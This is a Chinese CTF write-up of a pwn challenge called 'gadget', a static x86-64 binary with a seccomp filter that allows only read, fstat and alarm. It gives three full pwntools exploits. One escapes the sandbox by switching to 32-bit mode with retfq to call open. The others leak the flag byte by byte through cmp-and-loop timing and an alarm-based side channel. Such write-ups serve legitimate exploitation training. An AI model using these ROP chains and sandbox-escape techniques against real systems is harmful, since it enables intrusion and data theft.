0%

gadget+ORA+CMP trick

Gadget 复现

1
2
3
4
5
6
gadget: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位,statically,开了NX

1
2
3
4
5
6
7
8
9
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW

白名单:fstat,read,alarm

入侵分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rcx
int v5; // er8
int v6; // er9
char input[44]; // [rsp+10h] [rbp-30h] BYREF
int v10; // [rsp+3Ch] [rbp-4h]

v10 = 0;
alarm_sys(48LL, argv, envp);
install_seccomp(48LL, (__int64)argv, v3, v4, v5, v6);
read_sys(input);
return (int)&locret_401002;
}
1
2
3
4
5
6
void __fastcall read_sys(char *a1)
{
signed __int64 v1; // rax

v1 = sys_read(0, a1, 0xC0uLL); // 输入“0xC0”字节
}

有栈溢出,但是开了沙盒,只允许 fstat,read,alarm 函数被调用

这里可以使用一种名为:沙盒逃逸的技术,因为每个架构的系统调用号不同,如果能够更改架构,就能绕过沙盒的限制,要实现这点需要3个条件:

  • 第一个对 arch 没有检查
  • 第二个需要对特定的系统调用号没有禁用,比如 Linux 的 32 位 execve 的系统调用号是 11,64 位的系统调用号是 59,如果更改 64 位为 32 位就需要没有禁用 32 位 execve 的系统调用号 11,反之更改 32 位为 64 位则需要没有禁用 64 位的 execve 系统调用号 59
  • 第三需要能够使用 sys_mmap 或 sys_mprotect,因为如果要改变 arch 一般找不到合适的 gadget 使用,所以需要使用 shellcode,而使用 shellcode 需要有一块可写可执行的内存,而这块内存可以使用 sys_mmap 或 sys_mprotect 来获取
1
2
3
4
5
6
/* 64位 */
#define __NR_read 0
#define __NR_fstat 5
#define __NR_alarm 37
/* 32位 */
#define __NR_open 5

可以使用 32 位的 open 打开文件,然后回到 64 位把 flag 读出来

  • 修改程序运行模式需要用到 retfq/retf 这个指令
  • 这个指令有两步操作:pop ip;pop cs(retf 是32位的 pop,retfq 是64位的 pop)
    • cs=0x23 程序以32位模式运行
    • cs=0x33 程序以64位模式运行

现代的 CS 寄存器中用于存放数据段选择子(Code-Segment Descriptors),如下为其格式:

1653983725684

  • 选择子的 D 标志位,它用以区分程序应该运行在32位还是64位架构上

使用 ropper 把 gadget 提取出来:

1
2
3
4
5
➜  Gadget time ropper --file ./gadget --nocolor > g1 
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./gadget --nocolor > g1 0.30s user 0.34s system 103% cpu 0.620 total

思路1:控制 read 输入任意大小的字节,利用汇编代码CMP单字节爆破 flag(非预期)

因为程序自带的 read 只能输入“0xC0”字节,可能写不完 ROP 链,所以我们的第一个目标就是构造一个 read,向一片固定区域写入 ROP 链

程序开了 ASLR,没有开 PIE,最好在 bss 段上进行 ROP,所以要进行栈迁移,接下来就是寻找合适的 gadget 了,接下来谈一谈我找寻 gadget 的思路:

  • 执行 read 系统调用,需要控制 rax,rdi,rsi,rdx,所以我们先找一找直接 pop 这些寄存器代码(必须要带有 ret)
1
2
3
4
5
0x0000000000401001: pop rax; ret; 
0x0000000000401734: pop rdi; pop rbp; ret;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;
0x00000000004079db: pop rdx; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0xfdbf;
0x0000000000408865: syscall; ret;
  • 程序往往不会直接提供它们的 pop(尤其是 rdx),在控制这些寄存器的同时,往往会改变一下其他的数据,产生“代价”(副作用)
  • 比如:pop rdx 产生的“代价”为“ret 0xfdbf”,中断了我们的 ROP 链,接下来就要考虑通过 mov 来间接获取 rdx(必须有 ret,尽量不改变 rax,rdi,rsi,没有 syscall,有 call 可以酌情考虑)
1
0x0000000000402c05: mov esi, edi; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret; 
  • 这条指令虽然有 call r14,但是 r14 是可以控制的,可以将其修改为 syscall 完成最后的收尾,很容易就可以找到控制 r14 的指令,随便找到控制 r12 的指令(间接控制 rdx)
1
2
0x0000000000401731: pop r14; pop r15; pop rbp; ret; 
0x000000000040172f: pop r12; pop r14; pop r15; pop rbp; ret;
  • 接下来用同样的方式控制 rsp
1
0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret; 

最后进行组合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bss_addr = elf.bss()+0x400
pop_rax_ret = 0x0000000000401001
pop_rdi_pop_rbp_ret = 0x0000000000401734
pop_rsi_pop_r15_pop_rbp_ret = 0x0000000000401732
syscall_ret = 0x0000000000408865
mov_rdx_r12_call_r14 = 0x0000000000402c05+2
pop_r14_pop_r15_pop_rbp_ret = 0x0000000000401731
pop_r12_pop_r14_pop_r15_pop_rbp_ret=0x000000000040172f
pop_rsp_ret = 0x0000000000409d1c

payload = "a"*0x30 + "b"*0x8
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_pop_rbp_ret) + p64(0) + p64(0)
payload += p64(pop_rsi_pop_r15_pop_rbp_ret) + p64(bss_addr) + p64(0) + p64(0)
payload += p64(pop_r14_pop_r15_pop_rbp_ret) + p64(syscall_ret) + p64(0) +p64(0)
payload += p64(pop_r12_pop_r14_pop_r15_pop_rbp_ret) + p64(0x100) + p64(0) + p64(0) + p64(0)
payload += p64(mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr+0x8)

print("payload >> "+hex(len(payload)))

很可惜超过“0xC0”的范围了,最终我采用了别人组好的 ROP 链:

1
2
3
4
5
6
7
8
9
10
11
12
bss_addr = elf.bss()+0x400
pop_rax_ret = 0x401001
pop_rdi_rbp_ret = 0x401734
pop_r12_r14_r15_rbp_ret = 0x40172f
syscall_pop_rbp_ret = 0x401165
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04
pop_rsp_ret = 0x409d1c

payload = b'\x00'*0x38
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
  • 大佬使用了一个巧妙的指令拆分:把 “mov esi, edi” 变为 “mov rsi, r15”
1
2
3
4
pwndbg> telescope 0x402c05
00:00000x402c05 (libc_start_main_stage2+30) ◂— mov esi, edi
pwndbg> telescope 0x402c04
00:00000x402c04 (libc_start_main_stage2+29) ◂— mov rsi, r15

现在简述一下方案的可行性:

CMP结果 ZF CF
目的操作数 < 源操作数 0 1
目的操作数 > 源操作数 0 0
目的操作数 = 源操作数 1 0
  • 如果“目的操作数”从 ASCII 的最小值开始增加,其实就只有两种情况:
    • 目的操作数 < 源操作数,ZF=0
    • 目的操作数 = 源操作数,ZF=1

大佬选择的 gadget 为:

1
0x0000000000408266: cmp byte ptr [rax - 0x46], cl; push rbp; ret 0x5069; 
  • 一般出现 ret 0x5069 都是因为 ropper 识别出错(就可以把它认为是一个 ret)
  • push 后直接 ret,控制了 rbp 就等同于控制了 rip

为了区分 “ZF=0” 和 “ZF=1”,我们需要汇编指令:je / jne

助记符 说明 标志位/寄存器
je 相等时跳转 ZF=1
jne 不相等时跳转 ZF=0

为了把这种微小的差别映射到用户端,需要一些特殊的措施

先看看下面这一组很有意思的代码:

1
2
00:0000│ rbp 0x405831 (__lctrans_impl+173) ◂— jne    0x405837
00:00000x405837 (__lctrans_impl+179) ◂— jmp 0x405837
  • jne 跳转到 0x405837,然后 jmp 跳转它自己,造成循环
  • 反应到用户端中,就是程序卡顿

我们可以利用这个性质,用 “recv(timeout = 1)” 接收报错信息,如果在1秒钟内没有接受到,就证明了程序陷入了循环,从而证明了 “ZF=0”,最终证明了 “目的操作数 < 源操作数”

  • 如果:目的操作数 = 源操作数(ZF=1),程序会报错
  • 如果:目的操作数 < 源操作数(ZF=0),程序会陷入循环

完整exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(os = "linux", arch = "amd64")
#context(log_level = 'debug')
elf = ELF("./gadget")
possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"

bss_addr = elf.bss() + 0x500
pop_rax_ret = 0x401001
pop_rbx_r14_r15_rbp_ret = 0x403072
pop_rcx_ret = 0x40117b
pop_rdi_rbp_ret = 0x401734
pop_rdi_jmp_rax = 0x402be4
pop_rsi_r15_rbp_ret = 0x401732
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04
pop_r12_r14_r15_rbp_ret = 0x40172f
pop_rsp_ret = 0x409d1c
pop_rbp_ret = 0x401102
syscall_pop_rbp_ret = 0x401165
int_0x80_ret = 0x4011f3
retf_ret = 0x4011ed
cmp_push_rbp_ret = 0x408266
jnz_loop = 0x405831
loop = 0x405837

def pwn(index, char):
payload = b'\x00'*0x38
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
io.send(payload.ljust(0xC0, b'\x00'))
sleep(0.1)
payload = b'./flag\x00\x00' + p64(pop_rax_ret) + p64(5)
payload += p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0)*3
payload += p64(pop_rcx_ret) + p64(0)
payload += p64(retf_ret) + p32(int_0x80_ret) + p32(0x23)
payload += p32(retf_ret) + p32(pop_rax_ret) + p32(0x33) + p64(0)
payload += p64(pop_rdi_rbp_ret) + p64(3) + p64(0)
payload += p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200) + p64(0)*2 + p64(syscall_pop_rbp_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index)
payload += p64(pop_rcx_ret) + p64(char)
payload += p64(pop_rbp_ret) + p64(jnz_loop)
payload += p64(cmp_push_rbp_ret)
io.send(payload)

if __name__ == '__main__':
pos = 0
flag = ""
while True:
for i in possible_list :
io = process('./gadget')
pwn(pos, ord(i))
try:
io.recv(timeout = 0.5)
io.close()
except:
flag += i
print(flag)
io.close()
break
if i == '}' :
break
pos = pos + 1
success(flag)

1654089820944

思路2:分多段控制 sys_read,利用汇编代码CMP单字节爆破 flag(非预期)

首先还是要进行栈迁移,但这次不采用 syscall,而是直接使用程序中已有的 void read_sys(char a1):(只需要改变 a1 就可以了)

  • 这样操作的话就不需要 pop rdx 了
  • 但是必须分多次执行 read_sys(弥补长度不够的限制)

首先还是进行栈迁移,但这次我们采用 setcontext 中的万能模板(堆上ORW也会用到)

1
2
3
4
5
6
7
0x40172a <install_seccomp+1274>        lea    rsp, [rbp - 0x20]
0x40172e <install_seccomp+1278> pop rbx
0x40172f <install_seccomp+1279> pop r12
0x401731 <install_seccomp+1281> pop r14
0x401733 <install_seccomp+1283> pop r15
0x401735 <install_seccomp+1285> pop rbp
0x401736 <install_seccomp+1286> ret

第一段 ROP 链为:

1
2
3
4
5
6
7
flag_addr=elf.bss()+0x200
ROP_addr=elf.bss()+0x400

payload="a"*0x38+p64(pop_rdi_pop_rbp_ret)+p64(ROP_addr)+p64(0)+p64(read_addr)
payload+=p64(pop_rbp_ret)+p64(ROP_addr+0x20-0x28+0x8)+p64(lea_rsp_pop_0x28)

p.send(payload.ljust(0xc0,'a'))
  • flag_addr+0x20:为了规避 [rbp - 0x20] 的影响
  • flag_addr-0x28:避免 pop 0x28 的影响
  • flag_addr+0x8:跳过下面的的 “flag”.ljust(8,”\x00”)

接下来我们就要切换“32”位执行 open,然后换回“64”位继续调用 sys_read

第二段 ROP 链为:

1
2
3
4
5
6
7
8
payload2="./flag".ljust(8,"\x00")
payload2+=p64(retfq)+p64(pop_rbx_pop_r14_pop_r15_pop_rbp_ret)+p64(0x23)
payload2+=p32(ROP_addr)+p32(0)*3+p32(pop_rcx_ret)+p32(0)
payload2+=p32(pop_rax_ret)+p32(5)+p32(int_0x80_ret)
payload2+=p32(retfq)+p32(pop_rdi_pop_rbp_ret)+p32(0x33)
payload2+=p64(ROP_addr+len(payload2)+24)+p64(0)+p64(read_addr)

p.send(payload2.ljust(0xc0,'\x00'))
  • 注意:调用 sys_read 对其参数进行了调整

接着就是执行 read,然后使用如下一段 gadget 来进行“对比”:

1
2
00:00000x408f72 (close_file+117) ◂— cmp    rax, qword ptr [r15 + 0x38]
01:00080x408f7a (close_file+125) ◂— int 0xb9

第三段 ROP 链为:

1
2
3
4
5
6
7
8
9
10
11
12
f=''
c=len(f)
caddr=flag_addr+c

payload3=p64(pop_rdi_pop_rbp_ret)+p64(3)+p64(0)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(flag_addr)+p64(0)*2
payload3+=p64(pop_rax_ret)+p64(0)+p64(syscall_ret)
payload3+=p64(pop_rdi_pop_rbp_ret)+p64(caddr+1)+p64(0)+p64(read_addr)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(0)+p64(caddr-0x38)+p64(0)
payload3+=p64(pop_rax_ret)+p64(guess)+p64(cmpa)

p.send(payload3.ljust(0xc0,'\x00'))
  • guess:猜测的字符

总体的逻辑和“思路1”类似,只是栈迁移和最后的 cmp gadget 使用的不一样,实际上 GDB 跟进时是这样的:

1
2
3
0x408f72 <close_file+117>    cmp    rax, qword ptr [r15 + 0x38]
0x408f76 <close_file+121> mov eax, 0xcd2cfca4
0x408f7b <close_file+126> mov ecx, 0xdf6f8009
  • 如果:目的操作数 < 源操作数(ZF=0),程序会报错
  • 如果:目的操作数 = 源操作数(ZF=1),程序会陷入循环

最后还有一个值得注意的地方:

  • cmp rax, qword ptr [r15 + 0x38] 的对比的大小为 qword,而我们希望一次性只对比单个字节,
  • 所以需要再调用一次 sys_read 把除了“第一字节”以外的其他字节置空

第四段 ROP 链为:

1
2
payload4='\x00'*0xf+p64(0)
p.send(payload4)

完整exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

elf = ELF("./gadget")

read_addr=0x401170
retfq=0x4011EC
int_0x80_ret=0x4011F3
syscall_ret=0x408865
pop_rax_ret=0x401001
pop_rbp_ret=0x401102
pop_rbx_pop_r14_pop_r15_pop_rbp_ret=0x403072
pop_rcx_ret=0x40117b
pop_rdi_pop_rbp_ret=0x401734
pop_rsi_pop_r15_pop_rbp_ret=0x401732
flag_addr=elf.bss()+0x200
ROP_addr=elf.bss()+0x400
lea_rsp_pop_0x28=0x40172A
cmpa=0x408F72

possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"

f=''
c=len(f)
if_ok=False

while(not if_ok):
caddr=flag_addr+c
for guess in possible_list:
p=process('./gadget')
#gdb.attach(p)
payload="a"*0x38+p64(pop_rdi_pop_rbp_ret)
payload+=p64(ROP_addr)+p64(0)+p64(read_addr)
payload+=p64(pop_rbp_ret)+p64(ROP_addr+0x20-0x28+0x8)+p64(lea_rsp_pop_0x28)
#print(hex(len(payload)))
p.send(payload.ljust(0xc0,'a'))

payload2="./flag".ljust(8,"\x00")
payload2+=p64(retfq)+p64(pop_rbx_pop_r14_pop_r15_pop_rbp_ret)+p64(0x23)
payload2+=p32(ROP_addr)+p32(0)*3+p32(pop_rcx_ret)+p32(0)
payload2+=p32(pop_rax_ret)+p32(5)+p32(int_0x80_ret)
payload2+=p32(retfq)+p32(pop_rdi_pop_rbp_ret)+p32(0x33)
payload2+=p64(ROP_addr+len(payload2)+24)+p64(0)+p64(read_addr)
#print(hex(len(payload2)))
p.send(payload2.ljust(0xc0,'\x00'))

payload3=p64(pop_rdi_pop_rbp_ret)+p64(3)+p64(0)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(flag_addr)+p64(0)*2
payload3+=p64(pop_rax_ret)+p64(0)+p64(syscall_ret)
payload3+=p64(pop_rdi_pop_rbp_ret)+p64(caddr+1)+p64(0)+p64(read_addr)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(0)+p64(caddr-0x38)+p64(0)
payload3+=p64(pop_rax_ret)+p64(ord(guess))+p64(cmpa)
#print(hex(len(payload3)))
p.send(payload3.ljust(0xc0,'\x00'))

payload4='\x00'*0xf+p64(0)
p.send(payload4)

#pause()

try:
p.send('ok')
p.recv(timeout=0.5)
f+=guess
print(f)
if(guess=="}"):
if_ok=True
break
p.close()
break
except:
p.close()
c=c+1

print(f)
p.interactive()

思路3:ORA 侧信道攻击(预期)

“思路3”和“思路2”相似,只是最后“获取flag”的思路有所不同,核心利用如下:

1
2
3
4
5
.text:000000000040115D                 mov     eax, 25h
.text:0000000000401162 mov edi, [rbp-8] ; seconds
.text:0000000000401165 syscall ; LINUX - sys_alarm
.text:0000000000401167 pop rbp
.text:0000000000401168 retn
  • 可以发现:alarm 会把 [rbp-8] 中的值装入 edi 中,作为关闭进程的时间
  • 所以只要控制 rbp,把单字节的 flag 作为 sys_alarm 的参数,然后记录系统关闭的时间,对比一下就可以计算出 flag

现在,利用的关键就在于:如何及时知晓系统关闭的时间?

  • 这里我们可以参考“思路1”,“思路2”:使程序陷入循环
1
2
00:00000x4011c5 (func+21) ◂— push   rsi
00:00000x4011c6 (func+22) ◂— ret
1
2
3
4
5
00:00000x401732 (install_seccomp+1282) ◂— pop    rsi
00:00000x401733 (install_seccomp+1283) ◂— pop r15
00:00000x401734 (install_seccomp+1284) ◂— pop rdi
00:00000x401735 (install_seccomp+1285) ◂— pop rbp
00:00000x401736 (install_seccomp+1286) ◂— ret
  • 把这两个 gadget 组合一下:
1
2
bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
bss_payload3 += p64(push_rsi_ret) # blocking
  • 寄存器 rsi 被控制为 “push_rsi_ret”
  • rsi 压栈,然后被 ret 执行,程序开始不停地执行 “push_rsi_ret”
  • 期间我们可以持续利用 try 向程序输入数据,因为程序陷入循环,所以命令行不起作用
  • 直到 alarm 的时间用尽,程序结束,再输入数据时就会报错,触发 except,并记录时间

完整exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
import time
import sys
import threading

context.arch = "amd64"
#context.log_level = "debug"

flag = {}
lock = threading.Lock()

# addrs
bss = 0x40c000
flag_ch_pos = bss+0x1500
fake_stack = bss+0x1000
fake_stack2 = bss+0x1100
fake_stack3 = bss+0x1200

# gadgets
retfq = 0x4011ec
retf = 0x4011ed
ret = 0x40312c
leave_ret = 0x7ffff7ffde52
pop_rsp_ppp_ret = 0x401730
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbp_ret = 0x401102
pop_rax_ret = 0x401001
pop_rcx_ret = 0x40117b
pop_rbx_ppp_ret = 0x403072
int_0x80_ret = 0x4011f3
syscall_ret = 0x408865
read_0xc0_gadget = 0x401170
push_rsi_ret = 0x4011c5
int3 = 0x4011eb

alarm_gadget = 0x40115D
'''
.text:000000000040115D mov eax, 25h
.text:0000000000401162 mov edi, [rbp-8] ; seconds
.text:0000000000401165 syscall ; LINUX - sys_alarm
.text:0000000000401167 pop rbp
.text:0000000000401168 retn
'''

def exp(curr_ch):
# 121.37.135.138 2102
p = process("./gadget")
#p = remote("121.37.135.138", 2102)

#gdb.attach(p, "b *0x40119a\nc\n")
offset = 0x38
move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget) # read part1
move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1
p.send(move_stack_payload)

# part 1
time.sleep(0.5)
bss_payload = b"./flag\x00\x00" # new rbp
bss_payload += p64(0)*2
bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86

# SYS_open
bss_payload += p32(pop_rax_ret) + p32(5)
bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3
bss_payload += p32(pop_rcx_ret) + p32(0)
bss_payload += p32(int_0x80_ret)

bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64
bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2
bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2) # start part2

p.send(bss_payload)

# part2
time.sleep(0.5)
bss_payload2 = p64(0xdeadbeef) # new rbp
bss_payload2 += p64(0)*2

# SYS_read
bss_payload2 += p64(pop_rax_ret) + p64(0)
bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef)
bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2
bss_payload2 += p64(syscall_ret)

bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits
bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3
bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3) # start part3

p.send(bss_payload2)

# rewrite
time.sleep(0.5)
p.send(b"\x00"*0x7)

# part3
time.sleep(0.5)
bss_payload3 = p64(0xdeadbeef) # new rbp
bss_payload3 += p64(0)*2
bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8)
bss_payload3 += p64(alarm_gadget) # alarm gadget
bss_payload3 += p64(0xdeadbeef)

bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
bss_payload3 += p64(push_rsi_ret) # blocking

p.send(bss_payload3)
start = time.time()

for i in range(1000):
try:
p.send(b"a")
except:
end = time.time()
time_used = int(end-start)
print(f"[ROUND {curr_ch}] Time used:", end-start)
print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})")
lock.acquire()
flag[curr_ch] = chr(time_used)
lock.release()
return
finally:
time.sleep(0.3)

print(f"[ROUND {curr_ch}] ERROR")
p.close()
return

if __name__ == "__main__":
pool = []
for _round in range(9): # 因为flag只有9位,所以这里只申请9个线程
th = threading.Thread(target=exp, args=(_round, ))
th.setDaemon = True
pool.append(th)
th.start()
for th in pool:
th.join()
flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])}
print(flag)
flag_str = ""
for k, v in flag.items():
flag_str = flag_str + v
print(flag_str)

1654104946998


小结:

这个题目是组里的大佬出的,去年复现的时候就是调了一下 exp,gadget 都没有自己找,如今再看看这个题目,还是可以学习到很多东西

网上的非预期都是依靠 CMP 指令,单字节对比 flag 和猜测值,然后爆破出 flag,这种思路的关键就是想方设法 “放大CMP” 的影响,将其反应到用户端,使 exp 可以检测到(当然合适的 gadget 也很难找)

  • 网上常见的几种 exp 的处理:使程序陷入循环,然后 try-recv() 报错信息

最后的 ORA 是我以前没有遇见过的,去年的复现根本就没有考虑过这个方法,这个方法的 exp 执行过程很卡,如果 flag 特别长,服务器的网络不好的话,就很容易崩